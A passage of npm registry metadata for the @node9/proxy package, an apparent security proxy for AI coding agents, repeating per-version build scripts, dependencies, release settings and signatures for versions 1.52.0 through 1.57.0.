ae50ae68af535bff4e","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.52.0_1782793427772_0.7565846303945973","host":"s3://npm-registry-packages-npm-production"}},"1.53.0":{"name":"@node9/proxy","version":"1.53.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.53.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"234d0748ca56bbf4c91ad5958592bb9997313b8b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.53.0.tgz","fileCount":17,"integrity":"sha512-5gbm3zEgPCgLCVlRGvwePOpjuofZPoqO9q2z/GHPIocDd3crx3KNR9kbUF08t2v8dhjB0X+pwhHAU3nGJYuAiQ==","signatures":[{"sig":"MEUCIFq7WC5ESH1JP67+ANxyTbswhhufdlHNDJJzHgwCifiGAiEAmeAbOQ3qvAEorDQwia31g8MGFa8HOiYv44k/2KilU40=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.53.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4480973},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6d73df819f3ae16a2a87d05a1b87e2dbb2c36e6c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.53.0_1782808482597_0.9858660550410343","host":"s3://npm-registry-packages-npm-production"}},"1.54.0":{"name":"@node9/proxy","version":"1.54.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.54.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9263b4684ce3ffd411d7509347418a6236600fbc","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.54.0.tgz","fileCount":17,"integrity":"sha512-hECXo8t68XNJQbI+VoY6BEl7YPaSkgL6Z19SrSaaS6LwoUnHfyes26qBPvBfVMtXPEKWWpzB46Cpx2NUS1D6Rg==","signatures":[{"sig":"MEYCIQCPvGVq54yoi5CPxVwnVh35ZTzER+yjQHHM5JmfW+ENdwIhAKecs9b7YeDE2yN0UBX+k20xQPHTvGAIIe8xFfXtslSP","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.54.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4482339},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"60e17111bcd6e909d253ee840a63e4d8f807126d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.54.0_1782823127029_0.4698986650386394","host":"s3://npm-registry-packages-npm-production"}},"1.55.0":{"name":"@node9/proxy","version":"1.55.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.55.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bc32243d570ea35b1e64349cf9e6190db8261869","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.55.0.tgz","fileCount":17,"integrity":"sha512-2dsnbwMoKZKr4uwa36tDSwcCmqL4i8OLOsvgFTnqHGk/xHHtrajIbUZZKCqXcx29N3jVYq6SGEBzOGTjKi9L9g==","signatures":[{"sig":"MEUCIHSHMRIGYrw7hXFlxDfGisilpT6vl6f1qh9eaLZHXKz4AiEAwr3KE4ZGaYizQmKpAeH7JOwy6bqmRYgSdvbRRgw1NHE=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.55.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4486253},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"02384bccab47fff44d75511d24a70694eabce8dd","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.0","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.55.0_1782842204327_0.6599554528638838","host":"s3://npm-registry-packages-npm-production"}},"1.55.1":{"name":"@node9/proxy","version":"1.55.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.55.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"9fa45d9879f2be1137dd8f7c374bcf7ca31e1c07","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.55.1.tgz","fileCount":17,"integrity":"sha512-/wrR3pwzNdQlQIQaQdY/GAjMr0gs6M/7fImZKqWx5O5T3t/Gh4FzrsvHQqia9KbtFCyf11swtQ97mFJ68FW4Pg==","signatures":[{"sig":"MEYCIQCQuw3arvbdhQHlx7GvF+x80J2w6/VqfmJopFaHgWpNIwIhANXUvea0ATXdabRwB7J2a7+GUlWxzP3wJl3qt+ejexvy","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.55.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4487091},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5a18b15626ef9e793444892bb166c96383dfe6d9","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.55.1_1782847730001_0.950017337104613","host":"s3://npm-registry-packages-npm-production"}},"1.56.0":{"name":"@node9/proxy","version":"1.56.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.56.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"ec22b4918aa9e1223d98718d9528047b450baaa4","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.56.0.tgz","fileCount":17,"integrity":"sha512-5y2f1Q5yptt1DQfzRUs43gfyaA+RZZh1rfjUdGdR34IwgwqgsyGxjbauo+uGqNY4Y0Q+JxSaHfq7LUG6cO0ltQ==","signatures":[{"sig":"MEYCIQDdoduRxYDcJ8VwaSBrdJNayndQu+S+0JzaPMCx3cDG7gIhAMI6E9AIQSU19TSYKKKB0m9GSlaV9bXP6qmZIneblIj4","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.56.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4591260},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1d1465108d51a21b29be9267d801f14782bc59a8","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.1","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.56.0_1783258255368_0.5240710272543596","host":"s3://npm-registry-packages-npm-production"}},"1.57.0":{"name":"@node9/proxy","version":"1.57.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.57.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"6266a620384f55db85432dc97c4f7acbe7e33ee3","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.57.0.tgz","fileCount":17,"integrity":"sha512-r72CiIBI5JqJ7eyM7XdS/tWvFXFb560OzXhj8vDvQ0pFHvwqPUR959Qw3y+3UmcBzuWpXLXsp4eNk59xn5XBuA==","signatures":[{"sig":"MEUCIBfJvTnzp2saAnmxc7NhwmLTH53aoy7xlivqWtgyXqVtAiEAqdcdoSUovdPihO9jPe6rU1zE96giYoZ0evXCIWc0u1U=","keyid":"SHA256:DhQ8wR5